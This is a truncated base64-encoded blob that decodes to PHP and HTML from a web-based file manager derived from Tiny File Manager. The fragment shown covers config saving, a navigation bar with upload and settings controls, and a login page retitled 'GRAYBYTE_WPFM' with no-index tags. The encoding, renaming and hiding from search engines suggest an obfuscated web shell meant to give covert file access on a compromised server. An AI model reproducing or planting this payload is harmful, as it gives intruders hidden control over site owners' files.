ICAgICAgICAgICAgJ2xhbmcnID0+ICdlbicsXG4gICAgICAgICAgICAnZXJyb3JfcmVwb3J0aW5nJyA9PiB0cnVlLFxuICAgICAgICAgICAgJ3Nob3dfaGlkZGVuJyA9PiB0cnVlXG4gICAgICAgICk7XG4gICAgICAgICRkYXRhID0gZmFsc2U7XG4gICAgICAgIGlmIChzdHJsZW4oJENPTkZJRykpIHtcbiAgICAgICAgICAgICRkYXRhID0gZm1fb2JqZWN0X3RvX2FycmF5KGpzb25fZGVjb2RlKCRDT05GSUcpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAnVGlueSBGaWxlIE1hbmFnZXI8YnI+RXJyb3I6IENhbm5vdCBsb2FkIGNvbmZpZ3VyYXRpb24nO1xuICAgICAgICAgICAgaWYgKHN1YnN0cigkZm1fdXJsLCAtMSkgPT0gJ1wvJykge1xuICAgICAgICAgICAgICAgICRmbV91cmwgPSBydHJpbSgkZm1fdXJsLCAnXC8nKTtcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+JztcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+U2VlbXMgbGlrZSB5b3UgaGF2ZSBhIHRyYWlsaW5nIHNsYXNoIG9uIHRoZSBVUkwuJztcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+VHJ5IHRoaXMgbGluazogPGEgaHJlZj1cIicgLiAkZm1fdXJsIC4gJ1wiPicgLiAkZm1fdXJsIC4gJzxcL2E+JztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGRpZSgkbXNnKTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoaXNfYXJyYXkoJGRhdGEpICYmIGNvdW50KCRkYXRhKSkgJHRoaXMtPmRhdGEgPSAkZGF0YTtcbiAgICAgICAgZWxzZSAkdGhpcy0+c2F2ZSgpO1xuICAgIH1cblxuICAgIGZ1bmN0aW9uIHNhdmUoKVxuICAgIHtcbiAgICAgICAgZ2xvYmFsICRjb25maWdfZmlsZTtcbiAgICAgICAgJGZtX2ZpbGUgPSBpc19yZWFkYWJsZSgkY29uZmlnX2ZpbGUpID8gJGNvbmZpZ19maWxlIDogX19GSUxFX187XG4gICAgICAgICR2YXJfbmFtZSA9ICckQ09ORklHJztcbiAgICAgICAgJHZhcl92YWx1ZSA9IHZhcl9leHBvcnQoanNvbl9lbmNvZGUoJHRoaXMtPmRhdGEpLCB0cnVlKTtcbiAgICAgICAgJGNvbmZpZ19zdHJpbmcgPSBcIjw/cGhwXCIgLiBjaHIoMTMpIC4gY2hyKDEwKSAuIFwiXC9cL0RlZmF1bHQgQ29uZmlndXJhdGlvblwiIC4gY2hyKDEzKSAuIGNocigxMCkgLiBcIiR2YXJfbmFtZSA9ICR2YXJfdmFsdWU7XCIgLiBjaHIoMTMpIC4gY2hyKDEwKTtcbiAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRmbV9maWxlKSkge1xuICAgICAgICAgICAgJGxpbmVzID0gZmlsZSgkZm1fZmlsZSk7XG4gICAgICAgICAgICBpZiAoJGZoID0gQGZvcGVuKCRmbV9maWxlLCBcIndcIikpIHtcbiAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkY29uZmlnX3N0cmluZywgc3RybGVuKCRjb25maWdfc3RyaW5nKSk7XG4gICAgICAgICAgICAgICAgZm9yICgkeCA9IDM7ICR4IDwgY291bnQoJGxpbmVzKTsgJHgrKykge1xuICAgICAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkbGluZXNbJHhdLCBzdHJsZW4oJGxpbmVzWyR4XSkpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmaCk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG59XG5cblwvXC8tLS0gVGVtcGxhdGVzIEZ1bmN0aW9ucyAtLS1cblxuXC8qKlxuICogU2hvdyBuYXYgYmxvY2tcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqXC9cbmZ1bmN0aW9uIGZtX3Nob3dfbmF2X3BhdGgoJHBhdGgpXG57XG4gICAgZ2xvYmFsICRsYW5nLCAkc3RpY2t5X25hdmJhciwgJGVkaXRGaWxlO1xuICAgICRpc1N0aWNreU5hdkJhciA9ICRzdGlja3lfbmF2YmFyID8gJ2ZpeGVkLXRvcCcgOiAnJztcbj8+XG4gICAgPG5hdiBjbGFzcz1cIm5hdmJhciBuYXZiYXItZXhwYW5kLWxnIG1iLTQgbWFpbi1uYXYgPD9waHAgZWNobyAkaXNTdGlja3lOYXZCYXIgPz4gYmctYm9keS10ZXJ0aWFyeVwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICA8YSBjbGFzcz1cIm5hdmJhci1icmFuZFwiPiA8P3BocCBlY2hvIGxuZygnQXBwVGl0bGUnKSA/PiA8XC9hPlxuICAgICAgICA8YnV0dG9uIGNsYXNzPVwibmF2YmFyLXRvZ2dsZXJcIiB0eXBlPVwiYnV0dG9uXCIgZGF0YS1icy10b2dnbGU9XCJjb2xsYXBzZVwiIGRhdGEtYnMtdGFyZ2V0PVwiI25hdmJhclN1cHBvcnRlZENvbnRlbnRcIiBhcmlhLWNvbnRyb2xzPVwibmF2YmFyU3VwcG9ydGVkQ29udGVudFwiIGFyaWEtZXhwYW5kZWQ9XCJmYWxzZVwiIGFyaWEtbGFiZWw9XCJUb2dnbGUgbmF2aWdhdGlvblwiPlxuICAgICAgICAgICAgPHNwYW4gY2xhc3M9XCJuYXZiYXItdG9nZ2xlci1pY29uXCI+PFwvc3Bhbj5cbiAgICAgICAgPFwvYnV0dG9uPlxuICAgICAgICA8ZGl2IGNsYXNzPVwiY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlXCIgaWQ9XCJuYXZiYXJTdXBwb3J0ZWRDb250ZW50XCI+XG5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpO1xuICAgICAgICAgICAgJHJvb3RfdXJsID0gXCI8YSBocmVmPSc/cD0nPjxpIGNsYXNzPSdmYSBmYS1ob21lJyBhcmlhLWhpZGRlbj0ndHJ1ZScgdGl0bGU9J1wiIC4gRk1fUk9PVF9QQVRIIC4gXCInPjxcL2k+PFwvYT5cIjtcbiAgICAgICAgICAgICRzZXAgPSAnPGkgY2xhc3M9XCJicmVhZC1jcnVtYlwiPiBcLyA8XC9pPic7XG4gICAgICAgICAgICBpZiAoJHBhdGggIT0gJycpIHtcbiAgICAgICAgICAgICAgICAkZXhwbG9kZWQgPSBleHBsb2RlKCdcLycsICRwYXRoKTtcbiAgICAgICAgICAgICAgICAkY291bnQgPSBjb3VudCgkZXhwbG9kZWQpO1xuICAgICAgICAgICAgICAgICRhcnJheSA9IGFycmF5KCk7XG4gICAgICAgICAgICAgICAgJHBhcmVudCA9ICcnO1xuICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRjb3VudDsgJGkrKykge1xuICAgICAgICAgICAgICAgICAgICAkcGFyZW50ID0gdHJpbSgkcGFyZW50IC4gJ1wvJyAuICRleHBsb2RlZFskaV0sICdcLycpO1xuICAgICAgICAgICAgICAgICAgICAkcGFyZW50X2VuYyA9IHVybGVuY29kZSgkcGFyZW50KTtcbiAgICAgICAgICAgICAgICAgICAgJGFycmF5W10gPSBcIjxhIGhyZWY9Jz9wPXskcGFyZW50X2VuY30nPlwiIC4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRleHBsb2RlZFskaV0pKSAuIFwiPFwvYT5cIjtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgJHJvb3RfdXJsIC49ICRzZXAgLiBpbXBsb2RlKCRzZXAsICRhcnJheSk7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPVwiY29sLXhzLTYgY29sLXNtLTVcIj4nIC4gJHJvb3RfdXJsIC4gJGVkaXRGaWxlIC4gJzxcL2Rpdj4nO1xuICAgICAgICAgICAgPz5cblxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy02IGNvbC1zbS03XCI+XG4gICAgICAgICAgICAgICAgPHVsIGNsYXNzPVwibmF2YmFyLW5hdiBqdXN0aWZ5LWNvbnRlbnQtZW5kXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtIG1yLTJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJpbnB1dC1ncm91cCBpbnB1dC1ncm91cC1zbSBtci0xXCIgc3R5bGU9XCJtYXJnaW4tdG9wOjRweDtcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+XCIgYXJpYS1sYWJlbD1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiIGFyaWEtZGVzY3JpYmVkYnk9XCJzZWFyY2gtYWRkb24yXCIgaWQ9XCJzZWFyY2gtYWRkb25cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAtYXBwZW5kXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPVwiaW5wdXQtZ3JvdXAtdGV4dCBicmwtMCBicnItMFwiIGlkPVwic2VhcmNoLWFkZG9uMlwiPjxpIGNsYXNzPVwiZmEgZmEtc2VhcmNoXCI+PFwvaT48XC9zcGFuPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAtYXBwZW5kIGJ0bi1ncm91cFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImlucHV0LWdyb3VwLXRleHQgZHJvcGRvd24tdG9nZ2xlIGJybC0wXCIgZGF0YS1icy10b2dnbGU9XCJkcm9wZG93blwiIGFyaWEtaGFzcG9wdXA9XCJ0cnVlXCIgYXJpYS1leHBhbmRlZD1cImZhbHNlXCI+PFwvc3Bhbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImRyb3Bkb3duLW1lbnUgZHJvcGRvd24tbWVudS1yaWdodFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJkcm9wZG93bi1pdGVtXCIgaHJlZj1cIjw/cGhwIGVjaG8gJHBhdGgyID0gJHBhdGggPyAkcGF0aCA6ICcuJzsgPz5cIiBpZD1cImpzLXNlYXJjaC1tb2RhbFwiIGRhdGEtYnMtdG9nZ2xlPVwibW9kYWxcIiBkYXRhLWJzLXRhcmdldD1cIiNzZWFyY2hNb2RhbFwiPjw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZCBTZWFyY2gnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz5cIiBjbGFzcz1cIm5hdi1saW5rXCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDt1cGxvYWRcIj48aSBjbGFzcz1cImZhIGZhLWNsb3VkLXVwbG9hZFwiIGFyaWEtaGlkZGVuPVwidHJ1ZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cIm5hdi1pdGVtXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnTmV3SXRlbScpID8+XCIgY2xhc3M9XCJuYXYtbGlua1wiIGhyZWY9XCIjY3JlYXRlTmV3SXRlbVwiIGRhdGEtYnMtdG9nZ2xlPVwibW9kYWxcIiBkYXRhLWJzLXRhcmdldD1cIiNjcmVhdGVOZXdJdGVtXCI+PGkgY2xhc3M9XCJmYSBmYS1wbHVzLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdOZXdJdGVtJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoRk1fVVNFX0FVVEgpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibmF2LWl0ZW0gYXZhdGFyIGRyb3Bkb3duXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGluayBkcm9wZG93bi10b2dnbGVcIiBpZD1cIm5hdmJhckRyb3Bkb3duTWVudUxpbmstNVwiIGRhdGEtYnMtdG9nZ2xlPVwiZHJvcGRvd25cIiBhcmlhLWV4cGFuZGVkPVwiZmFsc2VcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9XCJmYSBmYS11c2VyLWNpcmNsZVwiPjxcL2k+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvYT5cblxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJkcm9wZG93bi1tZW51IGRyb3Bkb3duLW1lbnUtZW5kIHRleHQtc21hbGwgc2hhZG93XCIgYXJpYS1sYWJlbGxlZGJ5PVwibmF2YmFyRHJvcGRvd25NZW51TGluay01XCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PlwiIGNsYXNzPVwiZHJvcGRvd24taXRlbSBuYXYtbGlua1wiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MVwiPjxpIGNsYXNzPVwiZmEgZmEtY29nXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdIZWxwJykgPz5cIiBjbGFzcz1cImRyb3Bkb3duLWl0ZW0gbmF2LWxpbmtcIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2hlbHA9MlwiPjxpIGNsYXNzPVwiZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0xvZ291dCcpID8+XCIgY2xhc3M9XCJkcm9wZG93bi1pdGVtIG5hdi1saW5rXCIgaHJlZj1cIj9sb2dvdXQ9MVwiPjxpIGNsYXNzPVwiZmEgZmEtc2lnbi1vdXRcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnTG9nb3V0JykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibmF2LWl0ZW1cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2V0dGluZ3MnKSA/PlwiIGNsYXNzPVwiZHJvcGRvd24taXRlbSBuYXYtbGlua1wiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7c2V0dGluZ3M9MVwiPjxpIGNsYXNzPVwiZmEgZmEtY29nXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvbmF2PlxuPD9waHBcbn1cblxuXC8qKlxuICogU2hvdyBhbGVydCBtZXNzYWdlIGZyb20gc2Vzc2lvblxuICpcL1xuZnVuY3Rpb24gZm1fc2hvd19tZXNzYWdlKClcbntcbiAgICBpZiAoaXNzZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydtZXNzYWdlJ10pKSB7XG4gICAgICAgICRjbGFzcyA9IGlzc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnc3RhdHVzJ10pID8gJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSA6ICdvayc7XG4gICAgICAgIGVjaG8gJzxwIGNsYXNzPVwibWVzc2FnZSAnIC4gJGNsYXNzIC4gJ1wiPicgLiAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ21lc3NhZ2UnXSAuICc8XC9wPic7XG4gICAgICAgIHVuc2V0KCRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddKTtcbiAgICAgICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydzdGF0dXMnXSk7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBTaG93IHBhZ2UgaGVhZGVyIGluIExvZ2luIEZvcm1cbiAqXC9cbmZ1bmN0aW9uIGZtX3Nob3dfaGVhZGVyX2xvZ2luKClcbntcbiAgICBoZWFkZXIoXCJDb250ZW50LVR5cGU6IHRleHRcL2h0bWw7IGNoYXJzZXQ9dXRmLThcIik7XG4gICAgaGVhZGVyKFwiRXhwaXJlczogU2F0LCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVRcIik7XG4gICAgaGVhZGVyKFwiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTBcIik7XG4gICAgaGVhZGVyKFwiUHJhZ21hOiBuby1jYWNoZVwiKTtcblxuICAgIGdsb2JhbCAkZmF2aWNvbl9wYXRoO1xuPz5cbiAgICA8IURPQ1RZUEUgaHRtbD5cbiAgICA8aHRtbCBsYW5nPVwiZW5cIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ2RhcmsnIDogJ2xpZ2h0JyA/PlwiPlxuXG4gICAgPGhlYWQ+XG4gICAgICAgIDxtZXRhIGNoYXJzZXQ9XCJ1dGYtOFwiPlxuICAgICAgICA8bWV0YSBuYW1lPVwidmlld3BvcnRcIiBjb250ZW50PVwid2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIHNocmluay10by1maXQ9bm9cIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImRlc2NyaXB0aW9uXCIgY29udGVudD1cIldlYiBiYXNlZCBGaWxlIE1hbmFnZXIgaW4gUEhQLCBNYW5hZ2UgeW91ciBmaWxlcyBlZmZpY2llbnRseSBhbmQgZWFzaWx5IHdpdGggVGlueSBGaWxlIE1hbmFnZXJcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImF1dGhvclwiIGNvbnRlbnQ9XCJDQ1AgUHJvZ3JhbW1lcnNcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cInJvYm90c1wiIGNvbnRlbnQ9XCJub2luZGV4LCBub2ZvbGxvd1wiPlxuICAgICAgICA8bWV0YSBuYW1lPVwiZ29vZ2xlYm90XCIgY29udGVudD1cIm5vaW5kZXhcIj5cbiAgICAgICAgPD9waHAgaWYgKCRmYXZpY29uX3BhdGgpIHtcbiAgICAgICAgICAgIGVjaG8gJzxsaW5rIHJlbD1cImljb25cIiBocmVmPVwiJyAuIGZtX2VuYygkZmF2aWNvbl9wYXRoKSAuICdcIiB0eXBlPVwiaW1hZ2VcL3BuZ1wiPic7XG4gICAgICAgIH0gPz5cbiAgICAgICAgPHRpdGxlPkdSQVlCWVRFX1dQRk08XC90aXRsZT5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1qc2RlbGl2cicpOyA/PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWJvb3RzdHJhcCcpOyA/PlxuICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICBib2R5LmZtLWxvZ2luLXBhZ2Uge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmN2Y5ZmI7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKFwiZGF0YTppbWFnZVwvc3ZnK3htbCwlM0NzdmcgeG1sbnM9J2h0dHA6XC9cL3d3dy53My5vcmdcLzIwMDBcL3N2Zycgdmlld0JveD0nMCAwIDMwNCAzMDQnIHdpZHRoPSczMDQnIGhlaWdodD0nMzA0JyUzRSUzQ3BhdGggZmlsbD0nJTIzZTJlOWYxJyBmaWxsLW9wYWNpdHk9JzAuNCcgZD0nTTQ0LjEgMjI0YTUgNSAwIDEgMSAwIDJIMHYtMmg0NC4xem0xNjAgNDhhNSA1IDAgMSAxIDAgMkg4MnYtMmgxMjIuMXptNTcuOC00NmE1IDUgMCAxIDEgMC0ySDMwNHYyaC00Mi4xem0wIDE2YTUgNSAwIDEgMSAwLTJIMzA0djJoLTQyLjF6bTYuMi0xMTRhNSA1IDAgMSAxIDAgMmgtODYuMmE1IDUgMCAxIDEgMC0yaDg2LjJ6bS0yNTYtNDhhNSA1IDAgMSAxIDAgMkgwdi0yaDEyLjF6bTE4NS44IDM0YTUgNSAwIDEgMSAwLTJoODYuMmE1IDUgMCAxIDEgMCAyaC04Ni4yek0yNTggMTIuMWE1IDUgMCAxIDEtMiAwVjBoMnYxMi4xem0tNjQgMjA4YTUgNSAwIDEgMS0yIDB2LTU0LjJhNSA1IDAgMSAxIDIgMHY1NC4yem00OC0xOTguMlY4MGg2MnYyaC02NFYyMS45YTUgNSAwIDEgMSAyIDB6bTE2IDE2VjY0aDQ2djJoLTQ4VjM3LjlhNSA1IDAgMSAxIDIgMHptLTEyOCA5NlYyMDhoMTZ2MTIuMWE1IDUgMCAxIDEtMiAwVjIxMGgtMTZ2LTc2LjFhNSA1IDAgMSAxIDIgMHptLTUuOS0yMS45YTUgNSAwIDEgMSAwIDJIMTE0djQ4SDg1LjlhNSA1IDAgMSAxIDAtMkgxMTJ2LTQ4aDEyLjF6bS02LjIgMTMwYTUgNSAwIDEgMSAwLTJIMTc2di03NC4xYTUgNSAwIDEgMSAyIDBWMjQyaC02MC4xem0tMTYtNjRhNSA1IDAgMSAxIDAtMkgxMTR2NDhoMTAuMWE1IDUgMCAxIDEgMCAySDExMnYtNDhoLTEwLjF6TTY2IDI4NC4xYTUgNSAwIDEgMS0yIDBWMjc0SDUwdjMwaC0ydi0zMmgxOHYxMi4xek0yMzYuMSAxNzZhNSA1IDAgMSAxIDAgMkgyMjZ2OTRoNDh2MzJoLTJ2LTMwaC00OHYtOThoMTIuMXptMjUuOC0zMGE1IDUgMCAxIDEgMC0ySDI3NHY0NC4xYTUgNSAwIDEgMS0yIDBWMTQ2aC0xMC4xem0tNjQgOTZhNSA1IDAgMSAxIDAtMkgyMDh2LTgwaDE2di0xNGgtNDIuMWE1IDUgMCAxIDEgMC0ySDIyNnYxOGgtMTZ2ODBoLTEyLjF6bTg2LjItMjEwYTUgNSAwIDEgMSAwIDJIMjcyVjBoMnYzMmgxMC4xek05OCAxMDEuOVYxNDZINTMuOWE1IDUgMCAxIDEgMC0ySDk2di00Mi4xYTUgNSAwIDEgMSAyIDB6TTUzLjkgMzRhNSA1IDAgMSAxIDAtMkg4MFYwaDJ2MzRINTMuOXptNjAuMSAzLjlWNjZIODJ2NjRINjkuOWE1IDUgMCAxIDEgMC0ySDgwVjY0aDMyVjM3LjlhNSA1IDAgMSAxIDIgMHpNMTAxLjkgODJhNSA1IDAgMSAxIDAtMkgxMjhWMzcuOWE1IDUgMCAxIDEgMiAwVjgyaC0yOC4xem0xNi02NGE1IDUgMCAxIDEgMC0ySDE0NnY0NC4xYTUgNSAwIDEgMS0yIDBWMThoLTI2LjF6bTEwMi4yIDI3MGE1IDUgMCAxIDEgMCAySDk4djE0aC0ydi0xNmgxMjQuMXpNMjQyIDE0OS45VjE2MGgxNnYzNGgtMTZ2NjJoNDh2NDhoLTJ2LTQ2aC00OHYtNjZoMTZ2LTMwaC0xNnYtMTIuMWE1IDUgMCAxIDEgMiAwek01My45IDE4YTUgNSAwIDEgMSAwLTJINjRWMkg0OFYwaDE4djE4SDUzLjl6bTExMiAzMmE1IDUgMCAxIDEgMC0ySDE5MlYwaDUwdjJoLTQ4djQ4aC0yOC4xem0tNDgtNDhhNSA1IDAgMCAxLTkuOC0yaDIuMDdhMyAzIDAgMSAwIDUuNjYgMEgxNzh2MzRoLTE4VjIxLjlhNSA1IDAgMSAxIDIgMFYzMmgxNFYyaC01OC4xem0wIDk2YTUgNSAwIDEgMSAwLTJIMTM3bDMyLTMyaDM5VjIxLjlhNSA1IDAgMSAxIDIgMFY2NmgtNDAuMTdsLTMyIDMySDExNy45em0yOC4xIDkwLjFhNSA1IDAgMSAxLTIgMHYtNzYuNTFMMTc1LjU5IDgwSDIyNFYyMS45YTUgNSAwIDEgMSAyIDBWODJoLTQ5LjU5TDE0NiAxMTIuNDF2NzUuNjl6bTE2IDMyYTUgNSAwIDEgMS0yIDB2LTk5LjUxTDE4NC41OSA5NkgzMDAuMWE1IDUgMCAwIDEgMy45LTMuOXYyLjA3YTMgMyAwIDAgMCAwIDUuNjZ2Mi4wN2E1IDUgMCAwIDEtMy45LTMuOUgxODUuNDFMMTYyIDEyMS40MXY5OC42OXptLTE0NC02NGE1IDUgMCAxIDEtMiAwdi0zLjUxbDQ4LTQ4VjQ4aDMyVjBoMnY1MEg2NnY1NS40MWwtNDggNDh2Mi42OXpNNTAgNTMuOXY0My41MWwtNDggNDhWMjA4aDI2LjFhNSA1IDAgMSAxIDAgMkgwdi02NS40MWw0OC00OFY1My45YTUgNSAwIDEgMSAyIDB6bS0xNiAxNlY4OS40MWwtMzQgMzR2LTIuODJsMzItMzJWNjkuOWE1IDUgMCAxIDEgMiAwek0xMi4xIDMyYTUgNSAwIDEgMSAwIDJIOS40MUwwIDQzLjQxVjQwLjZMOC41OSAzMmgzLjUxem0yNjUuOCAxOGE1IDUgMCAxIDEgMC0yaDE4LjY5bDcuNDEtNy40MXYyLjgyTDI5Ny40MSA1MEgyNzcuOXptLTE2IDE2MGE1IDUgMCAxIDEgMC0ySDI4OHYtNzEuNDFsMTYtMTZ2Mi44MmwtMTQgMTRWMjEwaC0yOC4xem0tMjA4IDMyYTUgNSAwIDEgMSAwLTJINjR2LTIyLjU5TDQwLjU5IDE5NEgyMS45YTUgNSAwIDEgMSAwLTJINDEuNDFMNjYgMjE2LjU5VjI0Mkg1My45em0xNTAuMiAxNGE1IDUgMCAxIDEgMCAySDk2di01Ni42TDU2LjYgMTYySDM3LjlhNSA1IDAgMSAxIDAtMmgxOS41TDk4IDIwMC42VjI1NmgxMDYuMXptLTE1MC4yIDJhNSA1IDAgMSAxID